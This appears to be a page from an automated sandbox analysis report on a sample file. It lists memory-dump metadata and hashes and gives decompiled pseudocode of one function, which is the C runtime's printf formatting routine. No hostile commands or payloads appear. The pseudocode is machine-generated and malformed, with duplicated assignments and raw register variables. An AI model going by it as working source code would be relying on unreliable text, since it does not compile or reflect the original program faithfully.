0x00000000
0x00434864
0x00435072
0x00435072
0x00435072
0x00435072
0x00435072
0x00435072
0x00435072
0x00434ecf
0x00434ec6
0x00434dea
0x00434dea
0x00434dea

APIs

_get_int64_arg.LIBCMTD ref: 00434DF8
_get_int64_arg.LIBCMTD ref: 00434E20
__aullrem.LIBCMT ref: 00434FC5
__aulldiv.LIBCMT ref: 00434FE7

Strings

9, xrefs: 00434FF8

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 6bfd3a7f129a6f0db8a8f74f46333a7fd9ff028fcfdecd1d5897dee5f8a9e2ca
Instruction ID: 91290e14a09c389755e66a48c0c4c3a644280deea1f940abc8cac895ae231147
Opcode Fuzzy Hash: 6bfd3a7f129a6f0db8a8f74f46333a7fd9ff028fcfdecd1d5897dee5f8a9e2ca
Instruction Fuzzy Hash: 1E41D571D05628DFDB24CF58D889BEEB7B5BB89304F1491DAE019A7240D738AE80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 004279AC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E004279AC(signed int __edx) {
				signed int _t476;
				signed int _t497;
				signed int _t532;
				signed int _t549;
				signed short _t550;
				signed int _t553;
				signed int _t556;
				signed int _t557;
				signed int _t611;
				signed int _t613;
				signed int _t615;
				signed int _t622;
				signed int _t663;
				signed int _t666;
				void* _t668;
				void* _t669;
				signed int _t675;

				L0:
				while(1) {
					L0:
					_t611 = __edx;
					 *(_t666 - 8) = 0xa;
					L144:
					while(1) {
						L144:
						while(1) {
							L144:
							while(1) {
								L144:
								if(( *(_t666 - 0x10) & 0x00008000) == 0) {
									_t613 =  *(_t666 - 0x10) & 0x00001000;
									if(_t613 == 0) {
										if(( *(_t666 - 0x10) & 0x00000020) == 0) {
											_t615 =  *(_t666 - 0x10) & 0x00000040;
											if(_t615 == 0) {
												_t476 = E00428150(_t666 + 0x14);
												_t669 = _t668 + 4;
												 *(_t666 - 0x2b0) = _t476;
												 *(_t666 - 0x2ac) = 0;
											} else {
												_t549 = E00428150(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t549;
												 *(_t666 - 0x2ac) = _t615;
											}
										} else {
											_t663 =  *(_t666 - 0x10) & 0x00000040;
											if(_t663 == 0) {
												_t550 = E00428150(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t550 & 0x0000ffff;
												 *(_t666 - 0x2ac) = _t663;
											} else {
												_t553 = E00428150(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t553;
												 *(_t666 - 0x2ac) = _t663;
											}
										}
									} else {
										_t556 = E00428170(_t666 + 0x14);
										_t669 = _t668 + 4;
										 *(_t666 - 0x2b0) = _t556;
										 *(_t666 - 0x2ac) = _t613;
									}
								} else {
									_t557 = E00428170(_t666 + 0x14);
									_t669 = _t668 + 4;
									 *(_t666 - 0x2b0) = _t557;
									 *(_t666 - 0x2ac) = _t611;
								}
								if(( *(_t666 - 0x10) & 0x00000040) == 0) {
									L161:
									 *(_t666 - 0x2b8) =  *(_t666 - 0x2b0);
									 *(_t666 - 0x2b4) =  *(_t666 - 0x2ac);
									goto L162;
								} else {
									L157:
									_t675 =  *(_t666 - 0x2ac);
									if(_t675 > 0 || _t675 >= 0 &&  *(_t666 - 0x2b0) >= 0) {
										goto L161;
									} else {
										L160:
										asm("adc edx, 0x0");
										 *(_t666 - 0x2b8) =  ~( *(_t666 - 0x2b0));
										 *(_t666 - 0x2b4) =  ~( *(_t666 - 0x2ac));
										 *(_t666 - 0x10) =  *(_t666 - 0x10) | 0x00000100;
										L162:
										if(( *(_t666 - 0x10) & 0x00008000) == 0 && ( *(_t666 - 0x10) & 0x00001000) == 0) {
											 *(_t666 - 0x2b4) =  *(_t666 - 0x2b4) & 0x00000000;
										}
										if( *(_t666 - 0x30) >= 0) {
											 *(_t666 - 0x10) =  *(_t666 - 0x10) & 0xfffffff7;
											if( *(_t666 - 0x30) > 0x200) {
												 *(_t666 - 0x30) = 0x200;
											}
										} else {
											 *(_t666 - 0x30) = 1;
										}
										if(( *(_t666 - 0x2b8) |  *(_t666 - 0x2b4)) == 0) {
											 *(_t666 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t666 - 4)) = _t666 - 0x49;
										while(1) {
											L172:
											_t621 =  *(_t666 - 0x30) - 1;
											 *(_t666 - 0x30) =  *(_t666 - 0x30) - 1;
											if( *(_t666 - 0x30) <= 0 && ( *(_t666 - 0x2b8) |  *(_t666 - 0x2b4)) == 0) {
												break;
											}
											L174:
											asm("cdq");
											_t622 =  *(_t666 - 0x2b8);
											 *((intOrPtr*)(_t666 - 0x2a4)) = E00430570(_t622,  *(_t666 - 0x2b4),  *(_t666 - 8), _t621) + 0x30;
											asm("cdq");
											 *(_t666 - 0x2b8) = E004305F0( *(_t666 - 0x2b8),  *(_t666 - 0x2b4),  *(_t666 - 8), _t622);
											 *(_t666 - 0x2b4) = _t622;
											if( *((intOrPtr*)(_t666 - 0x2a4)) > 0x39) {
												 *((intOrPtr*)(_t666 - 0x2a4)) =  *((intOrPtr*)(_t666 - 0x2a4)) +  *((intOrPtr*)(_t666 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t666 - 4)))) =  *((intOrPtr*)(_t666 - 0x2a4));
											 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) - 1;
										}
										L177:
										 *((intOrPtr*)(_t666 - 0x24)) = _t666 - 0x49 -  *((intOrPtr*)(_t666 - 4));
										 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) + 1;
										if(( *(_t666 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t666 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t666 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t666 - 4)))) = 0x30;
											 *((intOrPtr*)(_t666 - 0x24)) =  *((intOrPtr*)(_t666 - 0x24)) + 1;
										}
										L181:
										while(1) {
											L181:
											while(1) {
												L181:
												while(1) {
													L181:
													while(1) {
														L181:
														while(1) {
															L181:
															while(1) {
																L181:
																while(1) {
																	do {
																		L181:
																		if( *((intOrPtr*)(_t666 - 0x28)) != 0) {
																			L207:
																			if( *(_t666 - 0x20) != 0) {
																				L0041C1C0( *(_t666 - 0x20), 2);
																				_t669 = _t669 + 8;
																				 *(_t666 - 0x20) = 0;
																			}
																			while(1) {
																				L209:
																				 *(_t666 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																				 *((intOrPtr*)(_t666 + 0xc)) =  *((intOrPtr*)(_t666 + 0xc)) + 1;
																				if( *(_t666 - 0x251) == 0 ||  *(_t666 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t666 - 0x251) < 0x20 ||  *(_t666 - 0x251) > 0x78) {
																						 *(_t666 - 0x2fc) = 0;
																					} else {
																						 *(_t666 - 0x2fc) =  *( *(_t666 - 0x251) + 0x404430) & 0x0000000f;
																					}
																				}
																				L7:
																				 *(_t666 - 0x250) =  *(_t666 - 0x2fc);
																				_t19 =  *(_t666 - 0x250) * 8; // 0x6000006
																				 *(_t666 - 0x25c) =  *( *(_t666 - 0x25c) + _t19 + 0x404450) >> 4;
																				 *(_t666 - 0x300) =  *(_t666 - 0x25c);
																				if( *(_t666 - 0x300) > 7) {
																					continue;
																				}
																				L8:
																				switch( *((intOrPtr*)( *(_t666 - 0x300) * 4 +  &M00427ED8))) {
																					case 0:
																						L9:
																						 *(_t666 - 0xc) = 0;
																						_t502 = E00431000( *(_t666 - 0x251) & 0x000000ff, E0041AAD0(_t666 - 0x40));
																						_t671 = _t669 + 8;
																						if(_t502 == 0) {
																							L15:
																							E00427FE0( *(_t666 - 0x251) & 0x000000ff,  *(_t666 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																							_t669 = _t671 + 0xc;
																							goto L209;
																						} else {
																							E00427FE0( *((intOrPtr*)(_t666 + 8)),  *(_t666 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																							_t671 = _t671 + 0xc;
																							_t582 =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																							 *(_t666 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																							_t629 =  *((intOrPtr*)(_t666 + 0xc)) + 1;
																							 *((intOrPtr*)(_t666 + 0xc)) = _t629;
																							asm("sbb eax, eax");
																							 *(_t666 - 0x278) =  ~( ~( *(_t666 - 0x251)));
																							if(_t629 == 0) {
																								_push(L"(ch != _T(\'\\0\'))");
																								_push(0);
																								_push(0x486);
																								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																								_push(2);
																								_t514 = L0041E000();
																								_t671 = _t671 + 0x14;
																								if(_t514 == 1) {
																									asm("int3");
																								}
																							}
																							L13:
																							if( *(_t666 - 0x278) != 0) {
																								goto L15;
																							} else {
																								 *((intOrPtr*)(L00422AF0(_t582))) = 0x16;
																								E00422880(_t558, _t582, _t664, _t665, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																								 *(_t666 - 0x2e4) = 0xffffffff;
																								E0041AAA0(_t666 - 0x40);
																								_t497 =  *(_t666 - 0x2e4);
																								L211:
																								return E0042BAA0(_t497, _t558,  *(_t666 - 0x48) ^ _t666, _t629, _t664, _t665);
																							}
																						}
																					case 1:
																						L16:
																						 *(__ebp - 0x2c) = 0;
																						__edx =  *(__ebp - 0x2c);
																						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																						__eax =  *(__ebp - 0x28);
																						 *(__ebp - 0x18) =  *(__ebp - 0x28);
																						__ecx =  *(__ebp - 0x18);
																						 *(__ebp - 0x1c) = __ecx;
																						 *(__ebp - 0x10) = 0;
																						 *(__ebp - 0x30) = 0xffffffff;
																						 *(__ebp - 0xc) = 0;
																						goto L209;
																					case 2:
																						L17:
																						__edx =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																						 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																						if( *(__ebp - 0x304) > 0x10) {
																							goto L24;
																						}
																						L18:
																						__ecx =  *(__ebp - 0x304);
																						_t63 = __ecx + 0x427f10; // 0x498d04
																						__edx =  *_t63 & 0x000000ff;
																						switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00427EF8))) {
																							case 0:
																								goto L21;
																							case 1:
																								goto L22;
																							case 2:
																								goto L20;
																							case 3:
																								goto L19;
																							case 4:
																								goto L23;
																							case 5:
																								goto L24;
																						}
																					case 3:
																						L25:
																						__edx =  *((char*)(__ebp - 0x251));
																						if( *((char*)(__ebp - 0x251)) != 0x2a) {
																							__eax =  *(__ebp - 0x18);
																							__eax =  *(__ebp - 0x18) * 0xa;
																							__ecx =  *((char*)(__ebp - 0x251));
																							_t87 = __ecx - 0x30; // -48
																							__edx = __eax + _t87;
																							 *(__ebp - 0x18) = __eax + _t87;
																						} else {
																							__eax = __ebp + 0x14;
																							 *(__ebp - 0x18) = E00428150(__ebp + 0x14);
																							if( *(__ebp - 0x18) < 0) {
																								__ecx =  *(__ebp - 0x10);
																								__ecx =  *(__ebp - 0x10) | 0x00000004;
																								 *(__ebp - 0x10) = __ecx;
																								 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																							}
																						}
																						L30:
																						goto L209;
																					case 4:
																						L31:
																						 *(__ebp - 0x30) = 0;
																						goto L209;
																					case 5:
																						L32:
																						__eax =  *((char*)(__ebp - 0x251));
																						if( *((char*)(__ebp - 0x251)) != 0x2a) {
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																							_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																							__ecx =  *(__ebp - 0x30) * 0xa + _t98;
																							 *(__ebp - 0x30) = __ecx;
																						} else {
																							__ecx = __ebp + 0x14;
																							 *(__ebp - 0x30) = E00428150(__ebp + 0x14);
																							if( *(__ebp - 0x30) < 0) {
																								 *(__ebp - 0x30) = 0xffffffff;
																							}
																						}
																						goto L209;
																					case 6:
																						L38:
																						__edx =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																						 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																						if( *(__ebp - 0x308) > 0x2e) {
																							L61:
																							goto L209;
																						}
																						L39:
																						__ecx =  *(__ebp - 0x308);
																						_t106 = __ecx + 0x427f38; // 0x77ef9003
																						__edx =  *_t106 & 0x000000ff;
																						switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00427F24))) {
																							case 0:
																								L44:
																								__edx =  *(__ebp + 0xc);
																								__eax =  *( *(__ebp + 0xc));
																								if( *( *(__ebp + 0xc)) != 0x36) {
																									L47:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x33) {
																										L50:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) == 0x64) {
																											L56:
																											L58:
																											goto L61;
																										}
																										L51:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *__ecx;
																										if( *__ecx == 0x69) {
																											goto L56;
																										}
																										L52:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc));
																										if(__ecx == 0x6f) {
																											goto L56;
																										}
																										L53:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) == 0x75) {
																											goto L56;
																										}
																										L54:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *__ecx;
																										if( *__ecx == 0x78) {
																											goto L56;
																										}
																										L55:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc));
																										if(__ecx != 0x58) {
																											 *(__ebp - 0x25c) = 0;
																											goto L9;
																										}
																										goto L56;
																									}
																									L48:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x32) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L58;
																									}
																								}
																								L45:
																								__ecx =  *(__ebp + 0xc);
																								__edx =  *((char*)(__ecx + 1));
																								if( *((char*)(__ecx + 1)) != 0x34) {
																									goto L47;
																								} else {
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L58;
																								}
																							case 1:
																								L59:
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																								goto L61;
																							case 2:
																								L40:
																								__eax =  *(__ebp + 0xc);
																								__ecx =  *( *(__ebp + 0xc));
																								if(__ecx != 0x6c) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000010;
																									 *(__ebp - 0x10) = __ecx;
																								} else {
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																								}
																								goto L61;
																							case 3:
																								L60:
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																								goto L61;
																							case 4:
																								goto L61;
																						}
																					case 7:
																						goto L62;
																					case 8:
																						L21:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																						goto L24;
																					case 9:
																						L22:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																						goto L24;
																					case 0xa:
																						L20:
																						__ecx =  *(__ebp - 0x10);
																						__ecx =  *(__ebp - 0x10) | 0x00000001;
																						 *(__ebp - 0x10) = __ecx;
																						goto L24;
																					case 0xb:
																						L19:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																						goto L24;
																					case 0xc:
																						L23:
																						__ecx =  *(__ebp - 0x10);
																						__ecx =  *(__ebp - 0x10) | 0x00000008;
																						 *(__ebp - 0x10) = __ecx;
																						goto L24;
																					case 0xd:
																						L24:
																						goto L209;
																				}
																			}
																			L210:
																			 *(_t666 - 0x2ec) =  *(_t666 - 0x24c);
																			E0041AAA0(_t666 - 0x40);
																			_t497 =  *(_t666 - 0x2ec);
																			goto L211;
																		}
																		L182:
																		if(( *(_t666 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t666 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t666 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t666 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t666 - 0x14)) = 0x20;
																						 *(_t666 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t666 - 0x14)) = 0x2b;
																					 *(_t666 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t666 - 0x14)) = 0x2d;
																				 *(_t666 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t666 - 0x2bc)) =  *((intOrPtr*)(_t666 - 0x18)) -  *((intOrPtr*)(_t666 - 0x24)) -  *(_t666 - 0x1c);
																		if(( *(_t666 - 0x10) & 0x0000000c) == 0) {
																			E00428080(0x20,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																		}
																		E004280C0( *(_t666 - 0x1c), _t666 - 0x14,  *(_t666 - 0x1c),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																		_t669 = _t669 + 0x10;
																		if(( *(_t666 - 0x10) & 0x00000008) != 0 && ( *(_t666 - 0x10) & 0x00000004) == 0) {
																			E00428080(0x30,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																		}
																		if( *(_t666 - 0xc) == 0 ||  *((intOrPtr*)(_t666 - 0x24)) <= 0) {
																			L203:
																			E004280C0( *((intOrPtr*)(_t666 - 4)),  *((intOrPtr*)(_t666 - 4)),  *((intOrPtr*)(_t666 - 0x24)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																			goto L204;
																		} else {
																			L196:
																			 *(_t666 - 0x2d4) = 0;
																			 *((intOrPtr*)(_t666 - 0x2c0)) =  *((intOrPtr*)(_t666 - 4));
																			 *((intOrPtr*)(_t666 - 0x2c4)) =  *((intOrPtr*)(_t666 - 0x24));
																			while(1) {
																				L197:
																				 *((intOrPtr*)(_t666 - 0x2c4)) =  *((intOrPtr*)(_t666 - 0x2c4)) - 1;
																				if( *((intOrPtr*)(_t666 - 0x2c4)) == 0) {
																					break;
																				}
																				L198:
																				 *(_t666 - 0x316) =  *((intOrPtr*)( *((intOrPtr*)(_t666 - 0x2c0))));
																				_t532 = E00434010(_t666 - 0x2c8, _t666 - 0x2d0, 6,  *(_t666 - 0x316) & 0x0000ffff);
																				_t669 = _t669 + 0x10;
																				 *(_t666 - 0x2d4) = _t532;
																				 *((intOrPtr*)(_t666 - 0x2c0)) =  *((intOrPtr*)(_t666 - 0x2c0)) + 2;
																				if( *(_t666 - 0x2d4) != 0 ||  *((intOrPtr*)(_t666 - 0x2c8)) == 0) {
																					L200:
																					 *(_t666 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L201:
																					E004280C0( *((intOrPtr*)(_t666 + 8)), _t666 - 0x2d0,  *((intOrPtr*)(_t666 - 0x2c8)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																					_t669 = _t669 + 0x10;
																					continue;
																				}
																			}
																			L202:
																			L204:
																			if( *(_t666 - 0x24c) >= 0 && ( *(_t666 - 0x10) & 0x00000004) != 0) {
																				E00428080(0x20,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																				_t669 = _t669 + 0x10;
																			}
																			goto L207;
																		}
																		L62:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x30c) = __ecx;
																		__edx =  *(__ebp - 0x30c);
																		__edx =  *(__ebp - 0x30c) - 0x41;
																		 *(__ebp - 0x30c) = __edx;
																	} while ( *(__ebp - 0x30c) > 0x37);
																	_t147 =  *(__ebp - 0x30c) + 0x427fa4; // 0xcccccc0d
																	__ecx =  *_t147 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00427F68))) {
																		case 0:
																			L114:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L115;
																		case 1:
																			L64:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L66;
																		case 2:
																			L79:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L81;
																		case 3:
																			L137:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L139;
																		case 4:
																			L72:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x284) = E00428150(__ebp + 0x14);
																			if( *(__ebp - 0x284) == 0) {
																				L74:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																				L78:
																				goto L181;
																			}
																			L73:
																			__ecx =  *(__ebp - 0x284);
																			if( *((intOrPtr*)( *(__ebp - 0x284) + 4)) != 0) {
																				L75:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x284);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x284);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x284);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x284);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L78;
																			}
																			goto L74;
																		case 5:
																			L115:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L117:
																				if( *(__ebp - 0x30) != 0) {
																					L120:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L122:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B540(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					_t274 = __eax - 8; // 0xe852f855
																					__ecx =  *_t274;
																					_t275 = __eax - 4; // 0xbc20
																					__edx =  *_t275;
																					 *(__ebp - 0x2a0) =  *_t274;
																					 *(__ebp - 0x29c) =  *_t275;
																					__ecx = __ebp - 0x40;
																					_push(E0041AAD0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a0;
																					_push(__ebp - 0x2a0);
																					__eax =  *0x440374; // 0x2c9cf96e
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AAD0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xac9cf9bd
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AAD0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xac9cf9c2
																							E00424340(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																					goto L181;
																				}
																				L118:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L120;
																				}
																				L119:
																				 *(__ebp - 0x30) = 1;
																				goto L122;
																			}
																			L116:
																			 *(__ebp - 0x30) = 6;
																			goto L122;
																		case 6:
																			L66:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428150(__ebp + 0x14);
																				 *(__ebp - 0x280) = __ax;
																				__cl =  *(__ebp - 0x280);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x27c) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428190(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
